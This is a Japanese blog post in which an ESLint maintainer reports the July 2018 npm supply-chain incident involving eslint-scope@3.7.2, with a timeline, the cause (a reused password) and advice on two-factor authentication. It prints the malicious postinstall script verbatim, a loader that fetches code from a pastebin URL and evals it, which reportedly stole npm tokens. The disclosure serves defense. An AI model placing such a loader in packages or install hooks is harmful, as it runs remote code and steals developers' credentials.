Help us understand the problem. What is going on with this article?

2018/07/12 に発生したセキュリティ インシデント (eslint-scope@3.7.2) について

More than 1 year has passed since last update.

2018 年 7 月 12 日に、ESLint 開発チームが管理する npm パッケージに悪意あるコードが挿入されるセキュリティ インシデントがありました。

以下の場合に npm install を実行したユーザーの npm アカウントへのログイン情報 (アクセストークン) が盗まれた恐れがあります (盗まれたアクセストークンはすでに無効化されています)。

  • 日本時間の 18:49 から 19:25 の約 1 時間のあいだに npm install を実行し、eslint-config-eslint@5.x またはそれに依存しているパッケージをインストールした。
  • 日本時間の 19:40 から 21:37 の約 2 時間のあいだに npm install を実行し、eslint-scope@3.x またはそれに依存しているパッケージ (Webpack, ESLint 4, babel-eslint, vue-eslint-parser, eslint-plugin-vue 等) をインストールした。

特に ESLint 4 と Webpack が含まれている点で影響が大きいと考えられます。影響の大きさを鑑みて、npm の運営は問題が終息した時刻より前に発行されたアクセストークンをすべて破棄しました。これにより、攻撃コードが搾取したアクセストークンはすべて無効化されています。

攻撃コードが公開されてからアクセストークンが破棄されるまでの間に、npm リポジトリへ攻撃者と同一 IP アドレスによるアクセスは無かったそうです (Tor の出口ノードの IP アドレスだったそうなので、それだけで安全の保証にはなりませんが...)。

npm にパッケージを公開している開発者の方は、ご自身のパッケージに異常がないこと、二要素認証が有効になっていることの確認をお願いいたします。

タイムライン

(時刻はすべて日本時間です。)

  • 16:00 頃 ... ESLint メンテナの一人の npm アカウントがハックされた。
  • 18:49 ... eslint-config-eslint@5.0.2 が攻撃者によってリリースされ、これの post-install スクリプトにインストールした人の npm アカウントへのログイン情報 (アクセストークン) を盗むコードが書かれていた (また、この攻撃コードは後で書き換えられるようになっていた)。
  • 19:25 ... eslint-config-eslint@5.0.2 が攻撃者自身によって取り消された。
  • 19:40 ... eslint-scope@3.7.2 が攻撃者によってリリースされた。これには eslint-config-eslint@5.0.2 とまったく同じ攻撃コードが追加されていた。
  • 20:17 ... 問題が発覚して Issue に報告された
  • 20:37 ... 他の ESLint メンテナが気づいて npm に報告した。
  • 21:37 ... npm 運営が eslint-scope@3.7.2 を取り消した。
  • 22:00 頃 ... ハックされたメンテナが気づいてパスワード変更・トークン破棄・二要素認証有効化を実施した。ログに基づいて、他の侵害はないことがわかった。
  • 25:00 頃 ... npm 運営がセキュリティ インシデントをアナウンスした。また、npm 運営と ESLint チームの話し合いが行われた。
  • 26:30 頃 ... 念のためにより新しいバージョン番号 (eslint-scope@3.7.3) でリリースを実施した。
  • 27:52 ... npm 運営は、問題が終息するより前に発行されたすべてのアクセストークンを破棄した。

どのようにハックされたか

今回アカウントをハックされたメンテナは他のサービスと npm とで同じパスワードを使っていたとのことで、他のサービスで流出したパスワードを用いてログインされてしまったものと考えられます。

  • パスワードの使い回しを避ける
  • 多要素認証を有効化する

これらのことを実施していれば避けられたインシデントでした。

どのような攻撃コードが挿入されたか

eslint-config-eslint@5.0.2, eslint-scope@3.7.2 ともに、以下のスクリプトが npm install の後処理として実行されるようになっていました (インデント等そのまま)。

lib/build.js
try{
var https=require('https');
https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
r.setEncoding('utf8');
r.on('data',(c)=>{
eval(c);
});
r.on('error',()=>{});

}).on('error',()=>{});
}catch(e){}

チャンクをそのまま eval しているので、通信時のチャンク分割で構文エラーになり発覚したようです。

ダウンロードしているコードは、当初、npm のログイン用トークンが含まれているファイルを外部に送信するようなコードになっていたそうです (私自身はそのコードを確認できていません)。現在は無意味な文字列になっています。

mysticatea
ESLint のメンテナ。Vue.js の開発チームメンバー。JavaScript 言語仕様書 ECMA-262 や JavaScript 構文解析器 Acorn のコントリビューター。
Why not register and get more from Qiita?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away